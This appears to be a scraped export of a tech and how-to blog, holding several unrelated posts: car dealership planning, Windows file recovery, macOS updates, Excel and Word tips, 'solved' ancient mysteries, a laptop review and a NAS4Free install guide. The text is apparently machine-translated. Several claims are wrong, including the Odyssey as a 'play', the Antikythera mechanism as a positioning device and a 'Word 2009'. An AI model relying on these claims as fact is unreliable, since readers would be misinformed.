consumers need to seek out car dealers to buy cars and get them serviced. The cost of opening and...\nPart 1of 3:\nAssessing Customer Needs  Perform market research. The first step in any business venture is to determine if there is a demand for your product or service. Once you determine the demand, you need to consider how your company might attract some of that customer demand.[1] Determine the number of cars sold in your area. Assume, for example, that the typical car buyer is willing to visit a dealership within 10 miles (16.1\u0026nbsp;km) of their home. Try to determine the number of cars sold within a 10-mile radius of your proposed car dealership. Assume that 50,000 cars are sold in that area each year. Once you know the total number of cars, research those purchases by category. For example, how many cars are purchased, compared to trucks? What percentage of the cars sold are new, and how many are used? You may even be able to determine the number of cars by model (Honda, Ford, etc.) Assess the existing car dealers in the market. Say, for example, that 3,000 new Hondas are sold in your area each year. You're considering a Honda dealership. How many existing Honda dealers are in your area? Of the Hondas sold, how many were purchased by consumers who went online and bought a new car from a dealership located out of town? This analysis will help you determine if there is a need for a new dealership in your market.   Determine your ideal customer. Every business needs to identify their ideal customer. Your ideal customer is a summary of the traits that your best customers have in common. When you identify the ideal customer, you can design your business to meet their needs.[2] Look at the age, gender, occupation and income level of the customers you are trying to attract. Assume that you want to open a Honda dealership. Do some research to determine the type of people who buy a Honda. You may find that the ideal Honda customer is a male between the ages of 27 and 50 years old. That customer is a white collar professional with an above average level of income. The Honda customer has owned a Honda previously, or has a family member who owns a Honda. Many car dealers build relationships with customers by selling cars and providing a service department. Some customers go back to the car dealer to get service on their vehicle. Find out where the ideal Honda customer gets their car serviced. Do they go to their dealership, or to their local repair shop? This information can help you create a service department that will attract customers.   Calculate the size of your market. The goal of your dealership market research is to determine if there is sufficient demand for your product. Ultimately, you need to know the dollar amount of sales for your product, and estimate how much of that customer demand you can attract.[3] Assume that that 3,000 new Hondas are sold in your area each year. You're also considering selling used Hondas, which generate 2,000 in sales each year. The size of your market is 5,000 Hondas. Based on your research of existing car dealers and customer demand, you believe that your new dealership can attract 20% of the existing Honda car market. That 20% figure would mean (5,000 new and used car sales multiplied by 20% = 1,000 car sales). Assume that the average profit per car (considering both new and used) is $500. If your dealership sold 1,000 cars, the business would generate (1,000 cars X $500 = $500,000 in profit). In addition, you estimate that your service department would create a $300,000 profit. The total profit for your dealership would total $800,000.  Score\n0 / 0\nAge Try again! You should determine the age range of your ideal customer. If you're selling Hondas, knowing that the age range is between 27 and 50 years old will help you determine if the area you want to open your dealership in has a large market of this age range. Choose another answer!\nProfession You're partially right! Your ideal customer might be stay-at-home mothers, or it might be white-collar employees. Knowing the profession of your ideal customer– and how their values might differ from other potential buyers– helps you market more effectively. This inormation will help you decide what kinds of commercials you want to show, as well as when and where to place advertisements. Guess again!\nIncome You're not wrong, but there's a better answer! The income of your ideal customer will vary depending on the brand of cars you want to sell. If the area you want to sell in has mainly above-average earners, you should consider opening a higher-end car dealership. There's a better option out there!\nAll of the above. Yes! You should know all three of these demographics for your ideal customer. You should also understand the gender of your customers. Understanding the traits of your ideal customer will help you market your dealership and know what kind of dealership to open. Read on for another quiz question.\nWant more quizzes?\nKeep testing yourself! Part 2of 3:\nDeciding What Type of Dealership to Open  Consider opening a franchise for your business. Nearly all of the larger car dealerships are franchises. In this arrangement, you are the franchisee who pays a fee to the franchisor. You also sign a franchise agreement to operate your business. [4] To open your Honda dealership, you would need to complete a long process to become a franchisee. Honda would require you to provide extensive financial disclosures to determine if you have the financial means to open and operate a Honda dealership. The franchisor (Honda) grants you the right to use the Honda logo and other marketing tools to operate a franchise. You will participate in local advertising and promotion of Honda cars. The franchisor will also agree on a process to supply your dealership with Honda cars. If you enter into an agreement with a popular car brand, it gives your car dealership credibility in the marketplace. That credibility can help you generate sales. However, the franchise agreement includes many restrictions on how you can advertise and sell their cars. To comply with the franchise agreement, you need to follow the requirements.   Decide on selling new cars, used cars or both. If you sell both new and used cars, you have the opportunity to serve two type of consumers. Selling to both markets, however, will require a larger investment of time and money.[5] If you sell used cars, you will attract customers who want to spend less money on a vehicle. Instead of buying the $25,000 new car, for example, they may buy a $15,000 used car. Used cars typically require more service and maintenance. As you sell more used cars, you may be able grow your service business. A growing number of customers shop for cars online. When a customer enters your dealership, they may have checked 4 or 5 dealerships to price a particular car. You may find heavy competition for new car sales, in particular. In order to drive total car sales, you may need a used car sales department.   Assess the need for a service department. Everyone needs to get his or her car serviced eventually. Operating a service department is a great way to build a relationship with a car owner. You can develop relationships with customers who bought their vehicle somewhere else. If you do a great job on their car, they may buy their next car from you. The need for service on your car can be stressful. It's inconvenient to be without a car while it is being repaired. Your great customer service can help reduce that anxiety. After you service someone's car, stay in touch with the customer. Promote you car sales and service through emails and mailers. Your efforts will increase your chances of selling the customer a car in the future.  Score\n0 / 0\nYou pay the franchisor to sell their brand of cars. Yup! When you own a franchise, you become a franchisee. You pay a fee to your franchisor to sell a specific brand of cars and to use their logos and marketing materials. Read on for another quiz question.\nYou become a franchisor of a specific brand of cars. Nope! When you own a franchise, you become the franchisee, not the franchisor. As the franchisee, you are allowed to sell the brand of cars that the franchise system owns. The franchisor is the company who sold you the car dealership franchise. Try again...\nYou pay a franchisee to use logos and marketing tools. Not quite! When you become a franchise owner, you are a franchisee and the company you purchase the franchise from is known as the franchisor. You then pay a fee to the franchisor to use their logos and marketing tools. Pick another answer!\nWant more quizzes?\nKeep testing yourself! Part 3of 3:\nPlanning Your Finances  Add up the costs needed to start your car dealership. The typical car dealership may require millions of dollars to open and operate. Your biggest cost will be your inventory of cars. Floorplan refers to the cost of the vehicles you have on your car lot. In addition to the cost of your floorplan, you'll need to buy or lease property. You'll build or renovate buildings on the property for your showroom and possibly for a repair department. If you operate a franchise, you will pay the car company an initial franchise fee. Once you're operating, you'll pay annual fees for your franchise agreement. Car dealers also have to constantly train employees on new car features, so that they can explain those features to customers. You incur large costs for training.   Decide on how you will finance the cost of your dealership. Financing your dealership is a huge commitment. You'll need to think carefully about how you will find the money to open your dealership.[6] Most car dealerships finance their floorplan through a bank. The cars on the lot serve as collateral for the floorplan loan. A dealership may also incur huge costs to design and build their showroom and repair center. In addition to car inventory, you may need to hire dozens of employees. You'll need cash to meet payroll each month. If you borrow money, you'll need to provide sufficient collateral for your loan. You may need to pledge personal assets as collateral to obtain your loan. The bank will also need to see detailed financial projections. These projections will explain how your business will generate a profit and repay the bank loan.   Consider the regulatory requirement to start and operate your dealership. Your state, county or city will have requirements to operate your dealership. Many of these rules are set up to protect the consumers who are making a large investment in buying a car. [7] Your state will require you to obtain a license to sell cars as your primary business. While individuals can sell cars to each other, a car dealer who sell many cars a year will need a license to operate. To build your dealership, you will need to get building permits from your city or county. Your state will require you to have several forms of insurance to operate your dealership. One type of required insurance is a surety bond. This bond is put in place to protect the car buyer from any fraud related to a car purchase.  Score\n0 / 0\nThey borrow from family. Nope! Opening and running a car dealership can sometimes take millions of dollars. Most dealership owners won't be able to borrow millions of dollars from their family members. There's a better option out there!\nThey take out personal loans. Not quite! It would be difficult to get a personal loan that can cover the cost of a floorplan. Opening a car dealership can require millions of dollars, so you would most likely need a business loan. Click on another answer to find the right one...\nThey use the cars as collateral with a bank. Nice! Most car dealers have a business loan from a bank. They typically use the cars on the lot as their collateral for getting the loan. Read on for another quiz question.\nWant more quizzes?\nKeep testing yourself!  Isabella Humphrey Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrturYycmKtllJqurbHRrJ%2BiqA%3D%3D\n","link":"/post/how-to-open-a-car-dealership/","section":"post","tags":null,"title":"How to Open a Car Dealership"},{"body":"Windows 10 has 2 deletion modes are delete to the recycle bin (Recycle Bin) and delete permanently (Delete Permanently). However, even if you permanently delete files (due to the size being too large or set to delete them straight), your computer won't completely remove them, at least not right away. These files still exist on your drive, but are marked as inaccessible data.\nThey are only overwritten, if there is new data due to the use of your computer. Therefore, if you ever need to recover them, you should immediately stop using your computer. You should close all running software and avoid writing new data to your computer's drive for more opportunities. Then, you do the following:\n1. Undo delete operation (Undo Delete)\nYou may not notice this, but you can undo the deletion if you accidentally pressed the delete button in Windows 10. However, keep in mind that this will not work. if you have logged out or restarted your computer. Here are the steps:\nStep 1. Open Windows File Explorer, then access the folder containing the deleted files.\nStep 2. Right-click on any empty space in that folder, then choose Undo Move from the drop-down menu (shortcut Ctrl + Z), to recover the deleted files.\n  2. Using File History\nIf you have opened File History to save the file history, proceed with the following steps:\nStep 1. Type Restore your files with File History in the search bar, next to the Start button, and then select the result.\nStep 2. In the File History window, navigate to the folder containing the deleted files.\nStep 3. Select the deleted files, then click the Restore button. Your files will be restored to their original location.\n3. Using the 'Backup and Restore' feature\nIf you created a backup using Windows 7 Backup and Restore tool, you can still use it to recover deleted files in Windows 10. Steps are as follows:\nStep 1. Type Backup settings in the search bar, next to the Start button, and then select the result.\nStep 2. Click Go to Backup and Restore (Windows 7).\nStep 3. In the Backup and Restore window that opens, select Select another backup to restore files from.\nStep 4. In the Restore Files window, find out if there are old backups containing your deleted files. If you find a suitable backup, select it, then click Next.\nStep 5. In the next window, select Select all files from this backup, and then click Next. The recovery process will start and you will get all the files back when it's done.\nAlternatively, if you have created a System restore point, you can also use it to restore your files. A system restore point will help you discard recent changes and return your computer to its old state.\nTo make things easier, Microsoft also offers a Windows File Recovery tool. This is a very effective free data recovery tool that can help you quickly find lost files.\nFile recovery ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLy3sdFmm56klamypXnFoqOeq12eu27DyKebqK%2BjYn5x\n","link":"/post/how-to-recover-deleted-files-in-windows-10/","section":"post","tags":null,"title":"How to recover deleted files in Windows 10"},{"body":"Like other iOS devices, on macOS Sierra also has software automatic update feature, called Automatic Software Updates. When applying to the new version, this mode will help users to immediately experience those features, without having to check each application to update.\nHowever, this feature brings a lot of trouble to users, especially those with limited memory capacity. And disabling the Automatic Software Updates feature on macOS Sierra is essential. If the reader still does not know how to turn off the auto update feature, please refer to this tutorial.\nStep 1: At the interface on the screen, we click on the App Store option at the top and then select Preferences .\n  Alternatively, you can click on the Apple icon in the left corner and select System Preferences .\n  Step 2: In the System Preferences interface, search and click the App Store item.\n  Step 3: In the interface below, we will skip the option to Download newly available updates in the background , to disable the Automatic Software Updates feature, not to allow automatic application updates.\n  Operation is very simple, isn't it ?! By changing this setting, your Mac will no longer automatically update applications and software when there is an Internet connection as before. Instead, we will receive a notification about the updated version of the applications installed on the device. Lastly, you just need to click on the application to update to the new version to proceed with the upgrade.\nRefer to the following articles: How to add or delete a Wifi network on Mac OS X Instructions on how to install macOS Sierra (clean install) 10.12 on Mac Useful tips for macOS 10.12 Sierra I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJqtpKS6osDInGSsp5apxKK%2BxGasqZyRqbK0ec6nZKaZk6TAbr%2FInqmrmQ%3D%3D\n","link":"/post/how-to-turn-off-automatic-software-updates-on-macos-sierra/","section":"post","tags":null,"title":"How to turn off automatic software updates on macOS Sierra"},{"body":"Are you entering data in Excel that includes exponents that you do not know how to write exponents in Excel? So are you looking for a way to write exponential numbers in Excel to continue your data entry process? Please refer to the way of writing exponential numbers in Excel below.\n  If you want to write the 2nd or 3rd powers, you can quickly use the keyboard shortcut combination:\nCaps (^ 2): Alt + 0178\nCaps (^ 3): Alt + 0179\nIf you want to write other exponents for example: ({a ^ x}) or ({a ^ {left ({x - 1} right)}}) then do the following:\nStep 1 : You enter a into a cell in Excel then right click and select Format Cells.\nNote: you need to right click on the mouse next to the letter a.\n  Step 2 : The Format Cells dialog box appears in the Font tab , check the box in the box before Superscript and click OK .\n  Step 3 : You enter the exponent for example x or (x-1) you will see the number you enter is small above.\n  To continue entering other numbers, you open the Format Cells dialog box again and uncheck the Superscript box .\n  So you can enter normal data.\n  Similarly if you want to write the index below you open the Format Cells dialog box and check the box in the Subscript to enter the index below.\n  And enter the subscript if you want.\n  So, this article has taught you how to write exponential numbers in Excel, hope this article will help you.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BinsGmecSxp6imlaPBqq3LZqWupZKav7R5yKdknrCTmrk%3D\n","link":"/post/how-to-write-exponential-numbers-in-excel/","section":"post","tags":null,"title":"How to write exponential numbers in Excel"},{"body":"Microsoft Office 2019 has been released to users, with upgrades and improvements to many previous features. Some features are available in previous versions and to Office 2019 version has been improved. With Word translation, you can use Word 2007 versions onwards but with Word 2009, besides the previous translation options, you will be able to use some new features such as creating more copies. translate more than the original. The following article will guide readers how to translate languages ​​on Word 2019.\nTranslate text into other languages ​​in Microsoft Word 2007 Complete guide for Word 2016 (Part 23): How to check spelling and grammar0 Instructions for checking English on Word by Grammarly Translation guide on Word 2019 1. Translate paragraphs on Word Step 1:\nUsers click on the Review section and select Translate . Here the user will see two different translation options including Translate Selection to translate the selected text and Translate Document to translate the entire document.\nClick on Translate Selection to translate the text.\n  Step 2:\nAfter that will display the message of Word, click the Turn on button to turn it on .\n  Immediately display the Translator task pane on the right of the interface as shown below.\n  Step 3:\nWe black out all the text you want to translate on Word. Soon the original content will be displayed in the From frame. The To item will be used to select the language we want to switch to.\n  The translation result will be displayed immediately below.\n  Step 4:\nIf you want to replace the translated text for the original language text, click the Insert button below. The translated text will replace the original text immediately.\n  Also when you black out the text and right-click will also display the Translate translation option .\n  2. Translate full text on Word Step 1:\nWe click Review again and select Translate , select Translate Document to translate the entire document.\n  Step 2:\nIn the Translate panel on the right of the interface, the From section we should select is Auto-detect so that Word automatically detects the input text language.\n  Step 3:\nAt the Translator translation adjustment frame, users also select the output language and then click the Translate button to translate the entire document.\n  Immediately new text with the selected translation language will be created separately into a file other than the original language text. We will be notified in the Translator frame as shown below.\n  Content such as images, text formatting remains in the translated text into the new language.\n  Step 4:\nWith Translator translation frame, when you click on the triangle icon, there are 3 different options.\n  You can press the Move button to move the translation frame to any position on the interface depending on the need to use, and also convenient to translate documents.\n  Or you can click Size to edit the size of the translation frame, zoom in or zoom out in the document view.\n  Basically, the translation feature on Word 2019 version does not change much compared to previous versions of Word. The translation content will appear in the Translator pane on the right of the interface. But with Word 2019 version, it is possible to translate longer content with full text and create separate Word file with new language.\nSee more:\nGreat tips for Word 2010's text test tool Create a quick dot (……………) line in Microsoft Word 8 tips or handling columns in Microsoft Word I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kuaK6xq6YoJ1dqb%2BiutKlmK2hn6N6sLqMsKarnF1nfXKF\n","link":"/post/language-translation-on-word-2019/","section":"post","tags":null,"title":"Language translation on Word 2019"},{"body":"Since its appearance, humans have left countless mysteries that make scientists headaches. Experiencing dozens, even hundreds of years of research patience, along with the advancement of technology, scientists have partly deciphered the secrets.\nDecode the 2,500-year-old architecture to help the Forbidden City pass 200 earthquakes The mysterious \"circle\" under the deep sea was finally decoded but the answer made the scientists worry The mystery of the giant tape disk spinning between the river was finally deciphered 1. The disappearance of the Nazca civilization   Most people know of the Nazca civilization thanks to the giant drawings on the Nazca desert surface in Peru. This civilization went through a period of prosperity in the early 15th century but was then mysteriously wiped out.\nThe mystery of the Nazca civilization's disappearance challenged scientists for many years, until Cambridge University researchers proved that they were wiped out by drought caused by deforestation.\n2. Whale cemetery in Chile   The whale cemetery in the middle of the Atacama desert, Chile once made scientists wonder about the cause of the massive \"sea\" deaths.\nWhen the skeletons exist at different historical times, the first whale skeleton dates back 20,000 years ago, scientists believe, the cause of the whale's death. is due to a toxic algae. After being poisoned and killed, their bodies were washed away by the tide towards the coast.\n3. The mysterious note on the print version of the Odyssey play   Odyssey is a famous play by Homer. A 500-year-old print of this play has strange handwritten notes that are a big question in the world of language researchers.\nLater, thanks to advanced technological advances and rich data sources, it was discovered that these notes were a special type of shorthand created by Jean Coulon de Thévénot. Its content is the French translation of the play, originally Greek.\n4. The purpose of use of the world's first computer   The Antikythera was discovered in a shipwreck more than a century ago. This machine was created by the Greeks from 80 - 50 BC and considered the world's first computer.\nIts sophistication and meticulousness shocked the scientific community. They did not understand what it was used for and how such a sophisticated machine could appear at the time because the first modern computer had a similar structure 1000 years later. newly invented.\nRecently, scientists have discovered the purpose of this machine, which is a positioning device.\n5. The disappearance left no trace of the Second Cambyses king army   In 524 BC, an army of more than 50,000 soldiers of the Persian King Cambyses II marched against the Ethiopian army. The army moved and swept the oases, but then all disappeared without leaving any trace.\nRecently, two scientists Angelo and Alfredo Castiglioni have discovered traces of this legendary army. It turned out they were killed in the desert by a fierce sandstorm after 13 years of fighting.\n6. The head of Bosham   Bosham's head is found in Bosham, West Sussex (England). For two centuries, scientists could not determine whether this was a statue depicting anyone because it was severely eroded.\nRecently, thanks to laser scanning technology, researchers have identified this 159kg head belonging to the large statue of the Roman Emperor Trajan set up to welcome travelers in the port of Chichester.\n7. The stones \"know\" in the Death Valley   Death Valley - Death Valley of California National Park, USA is famous for the rocks can weigh up to 320kg scattered to be said to move themselves even though no one touched.\nIt has always been an unexplained mystery until Ralph Lorenz demonstrates how they move. In winter, the rocks have a layer of ice wrapped around the outside and when the ice melts, they slide off the sand through the wind.\nSuccessfully decipher the mysterious \"walking\" stone in Death Valley 8. Helicopters of ancient Egypt   Ancient hieroglyphs dating back to 3000 years at the temple of Osiris have caused scientists to debate, many different opinions have been made, from helicopters, tanks to objects flying out of space.\nBut after scientists successfully restored the original pictogram, all questions were answered. It turned out that the controversial figure was the ancient hieroglyphics that had been altered due to time or degradation that caused confusion and made them believe it to be a real airplane.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKawrKyVp8Zuu8Vmq6GdXZa7pLXEp6tmnZeuvbW1wKdkoZ2cnrCwvNOeqWasmJp6pbXSmqepnZGnrq%2BvxGamn2WknbJuusCzmpplk57DqrjIs5itoZ%2Bjeqe1zZqjpbFdna60ecBmqqikpam2sLo%3D\n","link":"/post/the-mystery-of-the-ancient-egyptian-helicopter-the-disappearance-of-the-nazca-civilization-finally-has-a-solution/","section":"post","tags":null,"title":"The mystery of the ancient Egyptian helicopter, the disappearance of the Nazca civilization ... finally has a solution"},{"body":"Viettel has successfully tested eSim on Amazfit Verge 2 smart watch in Vietnam. This means that Amazfit Verge 2 will have a separate phone number, allowing it to operate independently without having to be used in parallel with the smartphone.\nIn recent years, smart watches have become technological devices familiar to many users in Vietnam, bringing many utilities such as health monitoring, sports training support, quick message browsing . However, the current smartwatch models all have to be paired with the phone to avoid waves due to the lack of support for eSim.\nBut when it comes to eSim, the smart watch can operate independently from the phone, allowing users to use the voice and texting feature directly on the watch with a separate phone number. Therefore, users can just bring a smart watch when they go to the gym, jog . but still keep in touch. Of course, to do this, the main phone number on the smartphone needs to have the function to transfer calls to another number when not answering.\nIt is expected that Viettel can start implementing the eSIM feature on smart watches from Q4 / 2019.\nMobiFone provides eSIM to customers in Vietnam ncG1vNJzZmismaXArq3KnmWcp51kw6qx062cpWWnnrmtec%2Brpq%2BhlJp6pr%2FIpmSopl2ouqK%2B02aumqyTnQ%3D%3D\n","link":"/post/viettel-will-provide-esim-on-smart-watch/","section":"post","tags":null,"title":"Viettel will provide eSIM on smart watch"},{"body":"Among the 12-inch screen laptops, Asus W5F looks much simpler. It is equipped with an Intel Core Duo processor with an integrated optical drive and a long battery life.\n  Asus W5F white version.\nNot as impressive and fashionable as Sony's computer, unlike the Lenovo ThinkPad's monotonous design, the Asus W5F's design is simple with clear straight lines around. The design of this laptop is not too bad, but it is not as rugged as the ThinkPad. The case is anti-warping, the screen border is quite good, there is no flexing phenomenon. Although only the contours fit together, the screen folding latch is quite unlikely to turn itself on.\nSensitive keyboard is one of the advantages of W5F, it brings comfortable feeling when typing. Although not as good as the ThinkPad keyboard, it still meets the demand. Because there are more letters, the Enter key must be smaller. On the other hand, the function keys starting with F are very convenient, helping users quickly adjust: volume, screen, wireless network or external sockets.\n  Because it is a small laptop, the built-in speakers are not big, however, the quality is still quite good compared to such a super compact computer. It can meet the basic needs of listening to music or watching movies. The volume is loud enough but it does not convey the sound of deep bass.\n  Actual use shows that the speed of Asus W5F is not too prominent compared to the usual models. Memory access speed is quite slow, but on Windows operating system as well as when running other application software, the W5F proved no less competitive than 'brothers'.\nWhile graphics processors can't be like desktops, they still work well in some games, for example, playing chess.\n    W5F is compatible with micro wireless network card Intel 3945 a / b / g for good quality, stable speed - about 20 Mb / s when near the access point and about 12-14 Mbps for other areas . Bluetooth 2.0 system is very good, works stably but doesn't have a WAN card.\nIn terms of speed, the W5F uses a 6-cell battery that can run up to 3 hours and 45 minutes in case of turning on the WLAN connection and screen brightness of about 60%. If the network connection is turned off and the screen brightness is at 60%, the device can run for 4 hours and 20 minutes (if running on a 3-cell battery, only 1 hour 50 minutes). When operating at maximum level, one battery must be charged every 2.5 hours. Experimenting watching DVD movies on the device, then 3 hours and a half is out of energy. In general, battery life is rated for quite a long time.\n  Like most laptops in general and Notebook in particular, the W5F also suffers from heat and noise issues. Its average temperature is about 50 - 51 degrees Celsius and when working at full capacity it can be up to 65 degrees C. However, it is only the temperature around the machine and the keyboard and the armrests are not affected. what. This temperature is still acceptable, not too hot. When the machine temperature rises to 55 - 57 degrees Celsius, the cooling fan starts to operate and the higher the temperature the fan runs, the faster it is only at a moderate level, making no noise annoying to the user.\nIn Vietnam, there are two portable versions of Asus W5F: Asus W5F-1BGP (Intel Core 2 Duo T5500 1.66 GHz 1 GB RAM, 100 GB HDD, Intel GMA 950 VGA, Linux) and W5FM-1B2P (Intel Core 2 Duo T5600 1.83 GHz, 1 GB RAM, 120 GB HDD, Intel GMA 950 VGA, Linux) reference prices are 1,800 and 1,900 USD respectively.\nAdvantages: Disadvantages: - Elegant design, compact - Long battery life - Stable operation - No LAN connection - No light sensor under the keyboard (helps to see better when it is dark) - There are not many plug ports\nncG1vNJzZmismaXArq3KnmWcp51krrTB0maubp5dlnq0tcypo55lYWe2r6%2FHZqOaqKSkvQ%3D%3D\n","link":"/post/asus-w5f-a-simple-12-inch-laptop/","section":"post","tags":null,"title":"Asus W5F - a simple 12-inch laptop"},{"body":"After we have finished preparing the NAS system, in this second article, we will go through the steps of installing NAS4Free (FreeNAS 7) on our old system.\nYou can use any burning software you like to burn the .iso file you downloaded to a CD / DVD. Or if you want to install from USB, you should format it as FAT32 before using software like Win32 Disk Imager to write the contents of the .iso file to USB (note whether the mainboard supports booting from USB or not. ). So we have the means to install. Connecting to the computer, tweaking the BIOS to CD / USB drive is the first boot option if needed and waiting for the installation process to complete, similar to when waiting for the Windows / Linux installation disks to load the file. Leave the default for NAS4Free boot in Normal Mode (option 1).\n  Notice two things: - If you want to install NAS4Free on a USB / Memory Card, the USB / Memory Card needs to be prepared separately, it is not possible to leave the source and the installation destination with the same USB.\n- Do not plug in the second USB / Memory card from the beginning, this will cause initial loading to fail. Connect this USB / Memory card only to the setting screen and the following message appears.\n  As you can see, we can immediately use NAS4Free in LiveCD / LiveUSB mode without the need to install it.\nLiveCD / LiveUSB mode: The entire NAS4Free operating system is loaded from USB / CD installation to RAM for use, similar to the Windows portable versions you usually see on HirenbootCD rescue discs or LiveCD mode of some Linux distros like Ubuntu. The basic configuration will be saved in a config.xml file containing the same USB / LiveCD installed.\nNo loss of installation. Easily update the new version (just remove the USB / CD and burn the new version on it). Easily restore the original state due to changes not recorded on CD / USB.\nIn return for the changes, the configuration is only stored on RAM so after every situation such as reboot, turn off the machine to rest or power out, you will have to reconfigure (or reload the recent config.xml configuration file The most you save on usb / cd). The functions that you added through the plugin will not be saved. In general, saving the configuration / changes will be more difficult. Boot speed may be slow on old mainboards (if using USB).\nSuitable for first-time trial needs or for users who are already familiar with the basic configuration that wants to test NAS4Free on different machines.\nHowever, if you want to use for a long time and perform many customizations, you should choose the 9th option to install NAS4Free completely on the hard drive, memory card. Here we have 3 options to install, corresponding to 2 modes of use.\n  Full Installation: Install directly on HDD / SSD / USB / Memory card. All necessary components of the operating system will be written to it, changes to the operating system will be recorded directly on those storage devices. In short, NAS4Free will be installed like when you install Windows, Linux or Mac according to common rules.\nSave memory, at any time, there are a number of essential components of the operating system loaded on RAM to serve tasks at that time. The change, configuration is also more flexible because every change you make whether on the file system or through the web interface is saved. Additional installation of new functions and plug-ins is also quick and convenient.\nHowever, in exchange for this flexibility is the risk of operating system failure due to improper operation from inexperienced users. Any changes will be immediately saved on the hard disk and cannot be recovered, so it requires users to have a self-backup every time they want to try a plugin or add a new feature that has a great influence. In addition, the continuous read / write of system files will have a negative impact on the life of USB / memory cards or low-range SSDs. The process of updating and repairing a full Installation version is also a bit longer.\nSuitable for experienced users (especially working with configuration files) and want to regularly perform customization and functionality for your NASbox. It is also important to have a USB / SSD good enough to not worry about longevity.\nEmbedded Installation Installation mode is recommended. NAS4Free will still be installed directly on the HDD / USB / Memory Card but when launching the entire operating system will be loaded onto the same RAM as the LiveCD. Any configuration made through the web interface will still be saved and users will not have to worry about losing these tweaks. But every other form of impact on system files (edit, delete with tools such as text editors, for example) will only exist on RAM, not recorded on the hard disk, ie will be lost after reboot / break electricity.\nQuick and easy updates. If for the LiveCD we still have to download the new version in full form and manually write to USB / CD, with Embedded mode, the update can be done directly via the Web interface (or use the file. iso is created specifically for the Embedded version, much more compact. System files are securely protected from the hands of experienced novices, so there are no problems such as 'ntldr is missing' on Windows just because you or someone else has missed a deleted hand. file number.\nHowever, because of this protection mechanism, of course, the ability to customize when running in this mode is still inferior to the Full Installation mode.\nSuitable for those who want to make the most of the functions of NAS4Free in the long term but not too much complicated customization needs. Note also about RAM when running in this mode, if the amount of RAM on your old machine is too low, you should still consider using Full mode.\nThe first option will install NAS4Free as Embedded on the drive of your choice. Note that with this installation the entire drive will be formatted and used only as an operating system location and cannot be used to store data. So do not choose 1 / if you want to install on HDD / SSD because it will waste capacity and a valuable SATA port on the mainboard.\n  With the second option, the installer will create 2 partitions. A partition has enough capacity to install NAS4Free and the rest can still be used to store data. This is the most suitable option for HDD / SSD.\n  Option 3, obviously used to set in 'Full' mode .\n  Options 4 and 5 are used to update OS as Full / Embedded from the USB installation (containing newer versions). With option 6 we can transfer an installed OS in Full to Embed mode at any time.\nAfter you've selected the installation mode. Click 'OK' to continue. Note that the next screen is where you choose the installation source, not the destination. Choose the correct CD / DVD or USB drive that contains the driver. The next step is to choose where you want to install NAS4Free OS.\n    With the ' Full' setting , users are allowed to choose the size of the partition containing NAS4Free OS (minimum 380MB). There is no need to set it too large, especially if you are installing on a USB device with plenty of free space.\n  Then select the HDD / USB drive that we want to install. If you choose the 2nd or 3rd installation mode, you will be asked whether to create a swap partition (virtual memory using hard disk support for Linux's RAM, similar to Windowf's virtual pagefile memory). Just agree if your device's RAM is too low (about 512MB). Enter sufficient capacity, usually in Linux and Windows, the recommended amount of virtual memory is twice that of RAM.\n  After the Swap option has been completed, the installation process will proceed, from this step we do not need to do anything further. Installation time takes less than 1 minute even on weak configuration machines.\n  Remove the USB / CD to install and reboot the machine after you see the installation message complete. Pay attention to the BIOS and make sure that from now on the mainboard will boot from the HDD / USB that has been installed USB, not elsewhere. As we can see, the number of configuration options at this point is reduced to 8, because you are working with an installed OS and not the LiveCD.\n  Direct configurations on NAS4Free installation machines are as minimal as possible, all operations related to the OS's service functions will have to be done via the Web Interface (WebUI). Here we are only provided with some very basic options to ensure that the connection to WebUI is successful. (Make sure you understand the concepts of network addresses, DHCP, Network Interface Card, etc. in previous posts before configuring). Note that the IP information and the currently used NIC will be displayed immediately above.\nOption 1 allows us to select Network Interface Card (NIC) that NAS4Free will work on. Identifying the name of the NIC is slightly more difficult than the IP address.\n  Although the old mainboards have two NICs which are quite rare (and those who already have the NIC added may be able to identify their names above), but the users have also been provided with auto options. let the OS know which NIC is active on the local network so you don't need to worry about this step. In case you don't have experience yet, there are too many active NICs on the device, here is a trick:\nMake sure the NAS box is connected to the home network (via switch, router). Go back to a computer in the house, turn on the command prompt and type arp -a to display the list of MAC addresses corresponding to each IP in the local network. If there are not too many active devices in the house, you will easily find the NIC's MAC that the NAS box is using via its IP.\nWith option 2, users can change IP information, default gateway, DNS server . that NAS Box will use. Similar to Windows, leave all the parameters that the modem / router's DHCP function is for, the most convenient and fastest. Only change them when you really understand what you are doing and if you live in a certain area . cut off regularly.\nOption 3 is used to reset the password of the Web administration interface to the default 'nas4free' in case of negligence. Similarly, operate hard reset modem to retrieve the default password 'admin ' that many people have to do.\n  Option 4 is used to reset all NAS4Free OS configurations to default state. Should only be used when an unrepairable error occurs.\n  Use option 5 to ping other machines in the house from NASBox, make sure the connection is smooth.\n  You should only use Shell (option 6) if you are not afraid to work with the command line. Most of the necessary configuration operations have been placed on the Web interface, where we will proceed further in the next article.\nncG1vNJzZmismaXArq3KnmWcp51kr7a1y51ksqelp3qww81mqqKloKGybrrArGSssaOpsq55z5qprWViYravv9Oao6WZpJ68rw%3D%3D\n","link":"/post/build-your-own-simple-nas-system-part-2-installation/","section":"post","tags":null,"title":"Build your own simple NAS system: Part 2: Installation"},{"body":"Currently, there are many applications that turn the phone camera into a webcam in the absence of a laptop, or if you want to use the camera to make a webcam, you will have to use an image collector like Cam Link, which costs about 160 USD, a price that not everyone can afford. Recently Canon has released the EOS Webcam Utility software, allowing users to take advantage of their cameras to make webcams for online meetings on Microsoft Teams, Skype, Hangouts .\nThis software will certainly create quality images, adequate lighting conditions to transmit image content when meeting online. According to Canon, some cameras are supported when connecting to a computer with a USB port, then launching the software to turn the camera into a webcam. The interface of EOS Webcam Utility is very simple, easy to use, allowing the choice of interchangeable lens cameras (ILC) of EOS and PowerShot cameras as webcams for video conferencing.\n  Due to the use of USB to connect, the user background does not need to worry because of the issue of whether their models support transferring images via HDMI or not. However, this software is currently in beta form and only works on Windows 10-64bit version. Sample images are supported using the software below.\n  You then download the EOS Webcam Utility software by following the link below, click Get beta software, and then select the software version compatible with the Canon camera line in use. Once the download has finished, install the software and start using it. If necessary, you can fine-tune the camera settings so that video quality is high.\nhttps://1.shortstack.com/VChq6Z The installation and setup steps you follow in the video 